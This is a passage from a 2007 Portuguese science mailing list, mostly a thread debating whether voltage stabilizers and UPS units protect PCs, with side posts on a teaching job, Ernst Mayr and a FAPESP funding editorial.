estabilizador comum. Já tinha ouvido falar que esse tipo de procedimento nao
traz proteção adicional. Alguns diziam, inclusive, que seria um procedimento
perigoso ou problemático. Pergunto: Isso realmente traz algum tipo de
proteção extra aos aparelhos? É redundante? É inútil?
Porque geralmente se diz que não se deve ligar dois estabilizadores , um ao
outro?

Gil


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Indicação de professor de Química para trabalhar em EaD
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 03/07/2007 16:25

Caros amigos,
o programa de Extensão da Fundação CECIERJ (www.cederj.edu.br) está buscando
um professor de Química para atuar como bolsista 20h na confecção de cursos
para professores na modalidade a distância. A preferência é para candidatos
que possuam doutorado ou em formação, que tenham experiência em práticas
pedagógicas ou que demonstrem vivo interesse pelo ensino da Química. A bolsa
é de complementação, equivale à bolsa de produtividade nível D do CNPq (em
torno de 920 reais, dependendo da formação e do vinculo universitário).
Dúvidas ou interessados devem contatar pelo e-mail:
quimicacederj@yahoo.com.br ou 21-2299-9621
Favor repassar a possíveis interessados.

Abraços,
Esteban.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Ernst Mayr e a filosofia da biologia.UCFilho
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/07/2007 16:51

Caro UC,

Obrigado pela referência. Vai ser bastante útil.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "UCFilho" <ucfilho27182@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, July 03, 2007 10:42 AM
Subject: [ciencialist] Re: Ernst Mayr e a filosofia da biologia.UCFilho


Bom dia Álvaro e a todos

seu texto é uma boa iniciativa para um longo caminho que requer tempo
e dedicação. Sugiro que amplie a discussão inserindo a evolução no
contexto epistemológico como consta na URL que segue ou em outras
semelhantes .

Saudações. UCFilho

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Freitas.pdf

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
<alvaro@...> escreveu
>
> Para quem se interessar, postei um novo artigo no meu blog, onde
ataco um
> argumento que surge aqui nesse grupo de vez em quando: o de que só
a física
> é verdadeiramente científica. Detalhes em
> http://alvaroaugusto.blogspot.com/2007/07/ernst-mayr-e-filosofia-da-
biologia.html
>
> [ ]s
>
> Alvaro Augusto
>




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SUBJECT: RES: [ciencialist] Estabilizadores/no-breaks
FROM: "Chrystiann Guilen" <chrystiann@colnet.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/07/2007 18:20

Olá,

Acredito que a ligação inversa seria totalmente redundante, tendo em
vista o estabilizador apenas "estabilizar" e não manter ativo no caso de
falta da alimentação principal, mas de qualquer forma, os no-break´s também
são estabilizadores, o que torna desnecessário o uso de um, ligado ao outro.
Quanto a possíveis problemas que poderiam ser gerados, talvez algum
especialista possa ser mais preciso, porém acho pouco provável causar
dano/problema, pois a energia que sairia do no-break/estabilizador é a mesma
corrente alternada que vem pela rede elétrica onde o equipamento é ligado
habitualmente, porém estabilizada.





--
Chrystiann Guilen
+55 44 84081608

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Gil
Enviada em: terça-feira, 3 de julho de 2007 16:19
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Estabilizadores/no-breaks

Vi um técnico em informática colocar um enorme no-break ligado em um
estabilizador comum. Já tinha ouvido falar que esse tipo de procedimento nao
traz proteção adicional. Alguns diziam, inclusive, que seria um procedimento
perigoso ou problemático. Pergunto: Isso realmente traz algum tipo de
proteção extra aos aparelhos? É redundante? É inútil?
Porque geralmente se diz que não se deve ligar dois estabilizadores , um ao
outro?

Gil


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: [RN] FAPESP E ECSTASY
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/07/2007 19:06

Editorial da "Folha" de 03-07-2007

------------------
Danos à Fapesp

É CONTRA si mesma que a Fapesp (Fundação de Amparo à Pesquisa do
Estado de São Paulo) depõe ao suspender financiamento de estudo sobre
redução de danos com ecstasy, após ataques pela imprensa. Alguns
criticaram o fato de as pesquisadoras não terem condenado o uso da
droga ilícita -limitaram-se a sugerir aos usuários certas cautelas na
sua ingestão.

Ou bem a agência errou ao patrocinar um projeto que era ruim desde o
início, ou erra agora ao cortar de modo abrupto as verbas com base em
opiniões de leigos emitidas de fora da Fapesp.

Não é assim que a ciência deve funcionar. Se dependesse do que
pensavam seus pares, Copérnico não teria postulado o modelo
heliocêntrico. Se dependesse da "vox populi", dinheiro público
dificilmente seria destinado a áreas como a física de partículas, que
demandam recursos vultosos e cuja "utilidade" é difícil explicar até
para iniciados.

Para evitar essas dificuldades se criaram agências como a Fapesp, cuja
missão é proceder a uma avaliação autônoma e técnica de cada projeto
apresentado e decidir se vai ou não financiá-lo. Estudos equivocados
devem ser suspensos, mas é preciso que o erro seja atestado pelo
próprio sistema de avaliação "inter pares" da agência, seguindo os
melhores protocolos internacionais, e não pelo clamor público.

O conceito de redução de danos é difícil de assimilar. Para alguns,
sempre soará como chancela oficial às drogas. Do ponto de vista da
saúde pública, no entanto, trata-se de reconhecer a complexidade da
dependência -e a relativa intratabilidade em certas fases- e tentar
evitar os impactos mais deletérios.

É uma estratégia que tem o aval da OMS, do Ministério da Saúde, é
utilizada em países como Holanda, Reino Unido e Canadá e já se provou
útil, por aqui, para reduzir a incidência de infecções pelo vírus da Aids.
http://www1.folha.uol.com.br/fsp/opiniao/fz0307200702.htm (só para
assinantes)
-----------------
Nota da Fapesp:
"ÍNTEGRA DA NOTA

Dada a gravidade das denúncias veiculadas pela imprensa, a Fundação de
Amparo à Pesquisa do Estado de São Paulo, FAPESP, determinou a
imediata suspensão da liberação de recursos para o projeto de pesquisa
"Implantação e avaliação de programa de redução de danos para o uso de
Ecstasy na cidade de São Paulo" até que sejam averiguados
completamente os fatos denunciados.
Fundação de Amparo à Pesquisa do Estado de São Paulo - FAPESP
18/6/2007"

A denúncia (de quem mais, da Veja, claro):
http://veja.abril.com.br/blogs/reinaldo/2007/06/dinheiro-pblico-da-fapesp-usado-para.html
----------------

[]s,

Roberto Takata



SUBJECT: Re: Estabilizadores/no-breaks
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/07/2007 19:59

Olá Gil!

Sobre estabilizadores veja o que fala o texto abaixo. Não sei a origem
do texto.

Abraços
Tipoalgo

"Educativo: Gastei R$ 2000,00 no meu computador, mas nao tenho
estabilizador em casa como vou ligar ? O_O
Com todo o respeito que mereces, aproveitei um escrito que recém tinha
feito em outro fórum onde também me debato, e trouxe-o para cá. Não
sou o dono da verdade e não quero ser, pois o que vale mesmo é a
discussão, o debate. É daí que saem as idéias. Vai lá um pouco do que
penso sobre esse cara chamado estabilizador.

Essa discussão é mesmo boa. Concordo plenamente que existam por ai na
rede uma série de "achismos" que não se sustentariam por mais do que
dois ou três porquês.

Para não ficar no "achismo", permitam-me aportar algumas informações.

O estabilizador trabalha numa frequência de 60 Hz. Uma vez detectado
uma anomalia ele somente conseguirá "mudar" para mais ou menos a
tensão em sua saída, no próximo ciclo, ou no próximo meio ciclo da
rede elétrica. Isso significa que no mínimo vai ter que esperar algo
em torno de 0,016 ou, se meio ciclo 0,008 segundos.

Belo tempo, vocês dirão. Muito rápido.

Vejamos como se comporta uma fonte chaveada, típica de PC, das
medianas. As mais avançadas, mais caras, trabalham com frequências de
até 400 KHz. As genérica prá mais de metro, as mais vagabundas
possível, trabalham com frequências da ordem de 50 KHz. Para nosso
exemplo vamos tomar as médias. Essa nossa fonte típica poderá
trabalhar tranquilamente na frequência de chaveamento de 100 KHz
(brincando).
Ora, ela também só conseguirá refletir alguma correção em seu próximo
ciclo de trabalho, se detectada uma boa razão para a correção.

Se sua frequência de trabalho é de 100.000 Hz, a duração de seu ciclo
de trabalho é de 1/100.000 = 0,00001 segundo (compare com o tempo de
resposta da tartarug... digo, do estabilizador)... O que??? quase 1000
vezes mais rápida.

É isso mesmo. Quando acontece na sua casa uma variação da tensão da
rede elétrica, (ao ligar o chuveiro, por ex.) algum dispositivo terá
que fazer com que essa queda não se reflita nas tensões de 3.3, 5 e 12
Volts que alimentam o seu PC.

A fonte chaveada está ali para resolver essa questão e toma um tempo
de cerca de 0,00001 segundos para por tudo em dia novamente. Seu PC,
após a correção estabelecida pela fonte, estará novamente com suas
tensões normais, mesmo que a tensão de rede tenha caído vamos supor
uns 10 volts. O tempo passa. O problema já estará resolvido..... Muito
tempo depois, (nesse nosso universo), o problema ocasionado pelo
chuveiro já resolvido e vem o estabilizador e joga a tensão da rede 10
a 12 volts acima da que estava (lembre-se que ele é lento).
Essa tensão subindo esses 10 a 12 volts que representam a tentativa de
"correção" daquele problema antigo (chuveiro) faz com que a fonte que
já havia trabalhado para corrigir a queda provocada pelo chuveiro,
agora tenha também que corrigir a correção do estabilizador derivada,
com atraso, da queda do chuveiro.

Ou seja. Sempre que você quiser ver a sua fonte trabalhando o dobro
daquilo que normalmente teria que trabalhar, coloque antes dela uma
tartarug.. digo estabilizador.

A falácia chamada estabilizador é uma herança maldita. De nada ou
muito pouco serve na frente de seu micro, eletricamente falando.

Quero mostrar para vocês, que me lêem agora e não tem nenhuma
obrigação de dar crédito a nenhuma de minhas palavras, dizia, quero
apresentar a vocês uma pessoa em quem vocês acreditam, tenho certeza.
Apresento-lhes vocês mesmos. Vocês passarão a dizer a vocês mesmos
para que serve um estabilizador, sob a forma de perguntas/respostas;

1) Pergunta: Picos de tensão, glitches, ruídos elétricos na rede,
posso evitá-los com um estabilizador?
R: É muito fácil de entender que esses picos, ruídos etc são de
natureza rápida, acontecem e somem, passam para sua fonte e algum
tempo depois, mesmo que seja 0,008 segundos seu estabilizador faz
tlec-tlec chamando uma tensão menor e logo chamando uma tensão maior.
Veja que o pico de tensão apareceu passou para sua fonte e sumiu. Toda
boa literatura técnica irá dizer que para remoção de picos, transiente
rápidos, ruídos, glitches e outras interferências elétricas há que se
utilizar de um bom filtro, ou supressor de transientes, ou filtro de
linha, ou régua protegida, etc, de preferência com um bom aterramento
que leve a massa todos essas porcarias.

2) Pergunta: Com um estabilizador consigo evitar que a incidência de
uma descarga atmosférica passe para o meu computador?
R: Um estabilizador faz a ligação de sua rede elétrica (entrada) com a
sua tomada de saída, o tempo todo. De vez em quando, em um desses
semiciclos de rede, ele, o estabilizador toma outra derivação de seu
transformador, para pegar maior ou menor tensão, mas sua função é
garantir que a rede permaneça ligada ao seu computador, quer caia raio
ou não na rede elétrica. A literatura também é clara quando diz que
tensões maiores, fora de padrões, tipicamente encontradas em situações
de tempestades com raios, devem ser drenadas a terra através de
dispositivos de proteção que contenham elemento do tipo MOV (metal
oxide varistor). Por outro lado o seccionamento da rede de entrada com
o restante do PC deve ser providenciado por elemento fusível. Para se
evitar a subida rápida da corrente, no estado de anormalidade, há que
ser colocado em série com a alimentação as bobinas de proteção
(aquelas que se vê nos filtros de entrada das boas fontes). Ou seja,
todos esses componentes que citei se encontram nas fontes e nas réguas
de proteção, nos protetores de surto nos "surge protectors".

3) Pergunta: É verdade que o estabilizador de tensão é capaz de deixar
passar somente a energia limpa para o meu PC?
R: Isso é uma função típica dos filtros e, de novo, de preferência com
um bom aterramento para drenar a massa todo o lixo.

4) Pergunta: A tesão em minha casa oscila em valores, já lidos e
comprovados, de 95 volts até 150 volts. Tenho que colocar um
estabilizador?
R: Tem. Tem sim. No refrigerador. Pois refrigerador algum consegue dar
partida com tensão de 95 volts. No seu micro não. Coloque no seu
micro, se você gosta mesmo dele, uma moderna fonte com PFC ativo, que
lhe proporciona um melhor uso da energia e lhe fornece, de graça, a
possibilidade de operação, de modo normal, na faixa de 90 até 270
volts, sem necessidade de selecionar chave alguma.

5) Pergunta: Você não acha arriscado ligar um micro direto na tomada
assim como se faz com a TV, o forno de microondas, o videocassete, o
DVD, a TV de plasma, o condicionador de ar, a cafeteira, amáquina de
suco, o nebulizador do nenê, o refrigerador, o forno elétrico, o
freezer, as máquinas de lavar, meu equipamento de som importado, a
minha TV novinha LCD de 42 polegadas que levei anos para comprar???
R: Sem resposta.

6) Pergunta: Meu pai vai a negócio para os EUA. Posso mandar ele
trazer um estabilizador dos bons, dos melhores, para meu micro?
R: Pode. Mas aconselho que espere sentado, pois esse elemento não
existe lá no dito primeiro mundo. Tente buscar na Newegg, na
ZipZoomfly, na PgCom, na BestBuy, vá pela internet. Vê se você acha??
Você encontra sim distintos tipos de power protection, a saber:
Surge Suppressors (supressores de transientes, filtros etc)
UPS - ou Back Up Power Supply. São os no-break....
Tenta encontrar um estabilizador...Você seria capaz de citar pelo
menos uma dúzia de ótimos fabricantes mundiais de fontes, de memórias,
de gabinetes, de placas de vídeo, de placas-mãe. Tente encontrar pelo
menos uns dois fornecedores mundiais de
estabilizador...............Nem prá remédio.

Finalmente, para aqueles que disserem que é bom comprar um
estabilizador porque ele tem fusível e também tem filtro. Ora compra
logo uma uma cafeteira que tem fusível e também tem filtro (de café).

O elemento que tem tudo isso se chama "surge suppressor" , ou régua de
proteção, ou filtro de linha ou.....e ai vai. Não ponha esse
estabilizador que, você está pensando em comprar, a fazer nada e ainda
atrapalhar sua fonte.
Muitas pessoas compram um belo estabilizador e dai, como o dinheiro
pode ficar curto compram uma fonte de 700 Watts por R$ 65,00. Os três
se merecem, o comprador, a fonte e o estabilizador.

"



SUBJECT: RES: [ciencialist] Re: Estabilizadores/no-breaks
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/07/2007 06:43

Olá,

Espero que os grandes fabricantes de estabilizadores não te leiam. Irão
comer teu fígado.

A propaganda e o preço baixo, fazem a venda de volumes enormes, de inúmeras
marcas,

desses equipamentos. Servem para muita coisa, menos para PC´s, pelas razões
que você aponta.

Muito bom o seu trabalho, mesmo. O caminho lúcido e crítico que você está
seguindo só lhe trará benefícios,

bem como a quem o ler.

Sugiro que você poste seu texto no fórum [eletronicabr]. Terá muita
utilidade ali, certamente.

Creio que outras considerações, ou extensões das suas, poderão movimentar a
lista, beneficiando a todos.

Parabéns, pela proficiência no trato com coisas do tipo.

Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Tipoalgo
Enviada em: terça-feira, 3 de julho de 2007 20:00
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: Estabilizadores/no-breaks



Olá Gil!

Sobre estabilizadores veja o que fala o texto abaixo. Não sei a origem
do texto.

Abraços
Tipoalgo

"Educativo: Gastei R$ 2000,00 no meu computador, mas nao tenho
estabilizador em casa como vou ligar ? O_O
Com todo o respeito que mereces, aproveitei um escrito que recém tinha
feito em outro fórum onde também me debato, e trouxe-o para cá. Não
sou o dono da verdade e não quero ser, pois o que vale mesmo é a
discussão, o debate. É daí que saem as idéias. Vai lá um pouco do que
penso sobre esse cara chamado estabilizador.

Essa discussão é mesmo boa. Concordo plenamente que existam por ai na
rede uma série de "achismos" que não se sustentariam por mais do que
dois ou três porquês.

Para não ficar no "achismo", permitam-me aportar algumas informações.

O estabilizador trabalha numa frequência de 60 Hz. Uma vez detectado
uma anomalia ele somente conseguirá "mudar" para mais ou menos a
tensão em sua saída, no próximo ciclo, ou no próximo meio ciclo da
rede elétrica. Isso significa que no mínimo vai ter que esperar algo
em torno de 0,016 ou, se meio ciclo 0,008 segundos.

Belo tempo, vocês dirão. Muito rápido.

Vejamos como se comporta uma fonte chaveada, típica de PC, das
medianas. As mais avançadas, mais caras, trabalham com frequências de
até 400 KHz. As genérica prá mais de metro, as mais vagabundas
possível, trabalham com frequências da ordem de 50 KHz. Para nosso
exemplo vamos tomar as médias. Essa nossa fonte típica poderá
trabalhar tranquilamente na frequência de chaveamento de 100 KHz
(brincando).
Ora, ela também só conseguirá refletir alguma correção em seu próximo
ciclo de trabalho, se detectada uma boa razão para a correção.

Se sua frequência de trabalho é de 100.000 Hz, a duração de seu ciclo
de trabalho é de 1/100.000 = 0,00001 segundo (compare com o tempo de
resposta da tartarug... digo, do estabilizador)... O que??? quase 1000
vezes mais rápida.

É isso mesmo. Quando acontece na sua casa uma variação da tensão da
rede elétrica, (ao ligar o chuveiro, por ex.) algum dispositivo terá
que fazer com que essa queda não se reflita nas tensões de 3.3, 5 e 12
Volts que alimentam o seu PC.

A fonte chaveada está ali para resolver essa questão e toma um tempo
de cerca de 0,00001 segundos para por tudo em dia novamente. Seu PC,
após a correção estabelecida pela fonte, estará novamente com suas
tensões normais, mesmo que a tensão de rede tenha caído vamos supor
uns 10 volts. O tempo passa. O problema já estará resolvido..... Muito
tempo depois, (nesse nosso universo), o problema ocasionado pelo
chuveiro já resolvido e vem o estabilizador e joga a tensão da rede 10
a 12 volts acima da que estava (lembre-se que ele é lento).
Essa tensão subindo esses 10 a 12 volts que representam a tentativa de
"correção" daquele problema antigo (chuveiro) faz com que a fonte que
já havia trabalhado para corrigir a queda provocada pelo chuveiro,
agora tenha também que corrigir a correção do estabilizador derivada,
com atraso, da queda do chuveiro.

Ou seja. Sempre que você quiser ver a sua fonte trabalhando o dobro
daquilo que normalmente teria que trabalhar, coloque antes dela uma
tartarug.. digo estabilizador.

A falácia chamada estabilizador é uma herança maldita. De nada ou
muito pouco serve na frente de seu micro, eletricamente falando.

Quero mostrar para vocês, que me lêem agora e não tem nenhuma
obrigação de dar crédito a nenhuma de minhas palavras, dizia, quero
apresentar a vocês uma pessoa em quem vocês acreditam, tenho certeza.
Apresento-lhes vocês mesmos. Vocês passarão a dizer a vocês mesmos
para que serve um estabilizador, sob a forma de perguntas/respostas;

1) Pergunta: Picos de tensão, glitches, ruídos elétricos na rede,
posso evitá-los com um estabilizador?
R: É muito fácil de entender que esses picos, ruídos etc são de
natureza rápida, acontecem e somem, passam para sua fonte e algum
tempo depois, mesmo que seja 0,008 segundos seu estabilizador faz
tlec-tlec chamando uma tensão menor e logo chamando uma tensão maior.
Veja que o pico de tensão apareceu passou para sua fonte e sumiu. Toda
boa literatura técnica irá dizer que para remoção de picos, transiente
rápidos, ruídos, glitches e outras interferências elétricas há que se
utilizar de um bom filtro, ou supressor de transientes, ou filtro de
linha, ou régua protegida, etc, de preferência com um bom aterramento
que leve a massa todos essas porcarias.

2) Pergunta: Com um estabilizador consigo evitar que a incidência de
uma descarga atmosférica passe para o meu computador?
R: Um estabilizador faz a ligação de sua rede elétrica (entrada) com a
sua tomada de saída, o tempo todo. De vez em quando, em um desses
semiciclos de rede, ele, o estabilizador toma outra derivação de seu
transformador, para pegar maior ou menor tensão, mas sua função é
garantir que a rede permaneça ligada ao seu computador, quer caia raio
ou não na rede elétrica. A literatura também é clara quando diz que
tensões maiores, fora de padrões, tipicamente encontradas em situações
de tempestades com raios, devem ser drenadas a terra através de
dispositivos de proteção que contenham elemento do tipo MOV (metal
oxide varistor). Por outro lado o seccionamento da rede de entrada com
o restante do PC deve ser providenciado por elemento fusível. Para se
evitar a subida rápida da corrente, no estado de anormalidade, há que
ser colocado em série com a alimentação as bobinas de proteção
(aquelas que se vê nos filtros de entrada das boas fontes). Ou seja,
todos esses componentes que citei se encontram nas fontes e nas réguas
de proteção, nos protetores de surto nos "surge protectors".

3) Pergunta: É verdade que o estabilizador de tensão é capaz de deixar
passar somente a energia limpa para o meu PC?
R: Isso é uma função típica dos filtros e, de novo, de preferência com
um bom aterramento para drenar a massa todo o lixo.

4) Pergunta: A tesão em minha casa oscila em valores, já lidos e
comprovados, de 95 volts até 150 volts. Tenho que colocar um
estabilizador?
R: Tem. Tem sim. No refrigerador. Pois refrigerador algum consegue dar
partida com tensão de 95 volts. No seu micro não. Coloque no seu
micro, se você gosta mesmo dele, uma moderna fonte com PFC ativo, que
lhe proporciona um melhor uso da energia e lhe fornece, de graça, a
possibilidade de operação, de modo normal, na faixa de 90 até 270
volts, sem necessidade de selecionar chave alguma.

5) Pergunta: Você não acha arriscado ligar um micro direto na tomada
assim como se faz com a TV, o forno de microondas, o videocassete, o
DVD, a TV de plasma, o condicionador de ar, a cafeteira, amáquina de
suco, o nebulizador do nenê, o refrigerador, o forno elétrico, o
freezer, as máquinas de lavar, meu equipamento de som importado, a
minha TV novinha LCD de 42 polegadas que levei anos para comprar???
R: Sem resposta.

6) Pergunta: Meu pai vai a negócio para os EUA. Posso mandar ele
trazer um estabilizador dos bons, dos melhores, para meu micro?
R: Pode. Mas aconselho que espere sentado, pois esse elemento não
existe lá no dito primeiro mundo. Tente buscar na Newegg, na
ZipZoomfly, na PgCom, na BestBuy, vá pela internet. Vê se você acha??
Você encontra sim distintos tipos de power protection, a saber:
Surge Suppressors (supressores de transientes, filtros etc)
UPS - ou Back Up Power Supply. São os no-break....
Tenta encontrar um estabilizador...Você seria capaz de citar pelo
menos uma dúzia de ótimos fabricantes mundiais de fontes, de memórias,
de gabinetes, de placas de vídeo, de placas-mãe. Tente encontrar pelo
menos uns dois fornecedores mundiais de
estabilizador...............Nem prá remédio.

Finalmente, para aqueles que disserem que é bom comprar um
estabilizador porque ele tem fusível e também tem filtro. Ora compra
logo uma uma cafeteira que tem fusível e também tem filtro (de café).

O elemento que tem tudo isso se chama "surge suppressor" , ou régua de
proteção, ou filtro de linha ou.....e ai vai. Não ponha esse
estabilizador que, você está pensando em comprar, a fazer nada e ainda
atrapalhar sua fonte.
Muitas pessoas compram um belo estabilizador e dai, como o dinheiro
pode ficar curto compram uma fonte de 700 Watts por R$ 65,00. Os três
se merecem, o comprador, a fonte e o estabilizador.

"





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: ENC: [ciencialist] Re: Estabilizadores/no-breaks
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/07/2007 07:04

TipoAlgo,



Correção:

Acrescento o seguinte, depois do Olá: Ao autor do texto, vez que “engoli” a
última frase:

“Não sei a origem do texto.”
De qualquer maneira, tenho visto que você está bem dentro de coisas da
espécie, daí a

razão de associar o texto a você, em vista de seus trabalhos, que lí. Coisas
de apressadinhos.

Sds,

Victor.





De: J.Victor [mailto:j.victor.neto@uol.com.br]
Enviada em: quarta-feira, 4 de julho de 2007 06:44
Para: 'ciencialist@yahoogrupos.com.br'
Assunto: RES: [ciencialist] Re: Estabilizadores/no-breaks



Olá,

Espero que os grandes fabricantes de estabilizadores não te leiam. Irão
comer teu fígado.

A propaganda e o preço baixo, fazem a venda de volumes enormes, de inúmeras
marcas,

desses equipamentos. Servem para muita coisa, menos para PC´s, pelas razões
que você aponta.

Muito bom o seu trabalho, mesmo. O caminho lúcido e crítico que você está
seguindo só lhe trará benefícios,

bem como a quem o ler.

Sugiro que você poste seu texto no fórum [eletronicabr]. Terá muita
utilidade ali, certamente.

Creio que outras considerações, ou extensões das suas, poderão movimentar a
lista, beneficiando a todos.

Parabéns, pela proficiência no trato com coisas do tipo.

Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Tipoalgo
Enviada em: terça-feira, 3 de julho de 2007 20:00
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: Estabilizadores/no-breaks



Olá Gil!

Sobre estabilizadores veja o que fala o texto abaixo. Não sei a origem
do texto.

Abraços
Tipoalgo

"Educativo: Gastei R$ 2000,00 no meu computador, mas nao tenho
estabilizador em casa como vou ligar ? O_O
Com todo o respeito que mereces, aproveitei um escrito que recém tinha
feito em outro fórum onde também me debato, e trouxe-o para cá. Não
sou o dono da verdade e não quero ser, pois o que vale mesmo é a
discussão, o debate. É daí que saem as idéias. Vai lá um pouco do que
penso sobre esse cara chamado estabilizador.

Essa discussão é mesmo boa. Concordo plenamente que existam por ai na
rede uma série de "achismos" que não se sustentariam por mais do que
dois ou três porquês.

Para não ficar no "achismo", permitam-me aportar algumas informações.

O estabilizador trabalha numa frequência de 60 Hz. Uma vez detectado
uma anomalia ele somente conseguirá "mudar" para mais ou menos a
tensão em sua saída, no próximo ciclo, ou no próximo meio ciclo da
rede elétrica. Isso significa que no mínimo vai ter que esperar algo
em torno de 0,016 ou, se meio ciclo 0,008 segundos.

Belo tempo, vocês dirão. Muito rápido.

Vejamos como se comporta uma fonte chaveada, típica de PC, das
medianas. As mais avançadas, mais caras, trabalham com frequências de
até 400 KHz. As genérica prá mais de metro, as mais vagabundas
possível, trabalham com frequências da ordem de 50 KHz. Para nosso
exemplo vamos tomar as médias. Essa nossa fonte típica poderá
trabalhar tranquilamente na frequência de chaveamento de 100 KHz
(brincando).
Ora, ela também só conseguirá refletir alguma correção em seu próximo
ciclo de trabalho, se detectada uma boa razão para a correção.

Se sua frequência de trabalho é de 100.000 Hz, a duração de seu ciclo
de trabalho é de 1/100.000 = 0,00001 segundo (compare com o tempo de
resposta da tartarug... digo, do estabilizador)... O que??? quase 1000
vezes mais rápida.

É isso mesmo. Quando acontece na sua casa uma variação da tensão da
rede elétrica, (ao ligar o chuveiro, por ex.) algum dispositivo terá
que fazer com que essa queda não se reflita nas tensões de 3.3, 5 e 12
Volts que alimentam o seu PC.

A fonte chaveada está ali para resolver essa questão e toma um tempo
de cerca de 0,00001 segundos para por tudo em dia novamente. Seu PC,
após a correção estabelecida pela fonte, estará novamente com suas
tensões normais, mesmo que a tensão de rede tenha caído vamos supor
uns 10 volts. O tempo passa. O problema já estará resolvido..... Muito
tempo depois, (nesse nosso universo), o problema ocasionado pelo
chuveiro já resolvido e vem o estabilizador e joga a tensão da rede 10
a 12 volts acima da que estava (lembre-se que ele é lento).
Essa tensão subindo esses 10 a 12 volts que representam a tentativa de
"correção" daquele problema antigo (chuveiro) faz com que a fonte que
já havia trabalhado para corrigir a queda provocada pelo chuveiro,
agora tenha também que corrigir a correção do estabilizador derivada,
com atraso, da queda do chuveiro.

Ou seja. Sempre que você quiser ver a sua fonte trabalhando o dobro
daquilo que normalmente teria que trabalhar, coloque antes dela uma
tartarug.. digo estabilizador.

A falácia chamada estabilizador é uma herança maldita. De nada ou
muito pouco serve na frente de seu micro, eletricamente falando.

Quero mostrar para vocês, que me lêem agora e não tem nenhuma
obrigação de dar crédito a nenhuma de minhas palavras, dizia, quero
apresentar a vocês uma pessoa em quem vocês acreditam, tenho certeza.
Apresento-lhes vocês mesmos. Vocês passarão a dizer a vocês mesmos
para que serve um estabilizador, sob a forma de perguntas/respostas;

1) Pergunta: Picos de tensão, glitches, ruídos elétricos na rede,
posso evitá-los com um estabilizador?
R: É muito fácil de entender que esses picos, ruídos etc são de
natureza rápida, acontecem e somem, passam para sua fonte e algum
tempo depois, mesmo que seja 0,008 segundos seu estabilizador faz
tlec-tlec chamando uma tensão menor e logo chamando uma tensão maior.
Veja que o pico de tensão apareceu passou para sua fonte e sumiu. Toda
boa literatura técnica irá dizer que para remoção de picos, transiente
rápidos, ruídos, glitches e outras interferências elétricas há que se
utilizar de um bom filtro, ou supressor de transientes, ou filtro de
linha, ou régua protegida, etc, de preferência com um bom aterramento
que leve a massa todos essas porcarias.

2) Pergunta: Com um estabilizador consigo evitar que a incidência de
uma descarga atmosférica passe para o meu computador?
R: Um estabilizador faz a ligação de sua rede elétrica (entrada) com a
sua tomada de saída, o tempo todo. De vez em quando, em um desses
semiciclos de rede, ele, o estabilizador toma outra derivação de seu
transformador, para pegar maior ou menor tensão, mas sua função é
garantir que a rede permaneça ligada ao seu computador, quer caia raio
ou não na rede elétrica. A literatura também é clara quando diz que
tensões maiores, fora de padrões, tipicamente encontradas em situações
de tempestades com raios, devem ser drenadas a terra através de
dispositivos de proteção que contenham elemento do tipo MOV (metal
oxide varistor). Por outro lado o seccionamento da rede de entrada com
o restante do PC deve ser providenciado por elemento fusível. Para se
evitar a subida rápida da corrente, no estado de anormalidade, há que
ser colocado em série com a alimentação as bobinas de proteção
(aquelas que se vê nos filtros de entrada das boas fontes). Ou seja,
todos esses componentes que citei se encontram nas fontes e nas réguas
de proteção, nos protetores de surto nos "surge protectors".

3) Pergunta: É verdade que o estabilizador de tensão é capaz de deixar
passar somente a energia limpa para o meu PC?
R: Isso é uma função típica dos filtros e, de novo, de preferência com
um bom aterramento para drenar a massa todo o lixo.

4) Pergunta: A tesão em minha casa oscila em valores, já lidos e
comprovados, de 95 volts até 150 volts. Tenho que colocar um
estabilizador?
R: Tem. Tem sim. No refrigerador. Pois refrigerador algum consegue dar
partida com tensão de 95 volts. No seu micro não. Coloque no seu
micro, se você gosta mesmo dele, uma moderna fonte com PFC ativo, que
lhe proporciona um melhor uso da energia e lhe fornece, de graça, a
possibilidade de operação, de modo normal, na faixa de 90 até 270
volts, sem necessidade de selecionar chave alguma.

5) Pergunta: Você não acha arriscado ligar um micro direto na tomada
assim como se faz com a TV, o forno de microondas, o videocassete, o
DVD, a TV de plasma, o condicionador de ar, a cafeteira, amáquina de
suco, o nebulizador do nenê, o refrigerador, o forno elétrico, o
freezer, as máquinas de lavar, meu equipamento de som importado, a
minha TV novinha LCD de 42 polegadas que levei anos para comprar???
R: Sem resposta.

6) Pergunta: Meu pai vai a negócio para os EUA. Posso mandar ele
trazer um estabilizador dos bons, dos melhores, para meu micro?
R: Pode. Mas aconselho que espere sentado, pois esse elemento não
existe lá no dito primeiro mundo. Tente buscar na Newegg, na
ZipZoomfly, na PgCom, na BestBuy, vá pela internet. Vê se você acha??
Você encontra sim distintos tipos de power protection, a saber:
Surge Suppressors (supressores de transientes, filtros etc)
UPS - ou Back Up Power Supply. São os no-break....
Tenta encontrar um estabilizador...Você seria capaz de citar pelo
menos uma dúzia de ótimos fabricantes mundiais de fontes, de memórias,
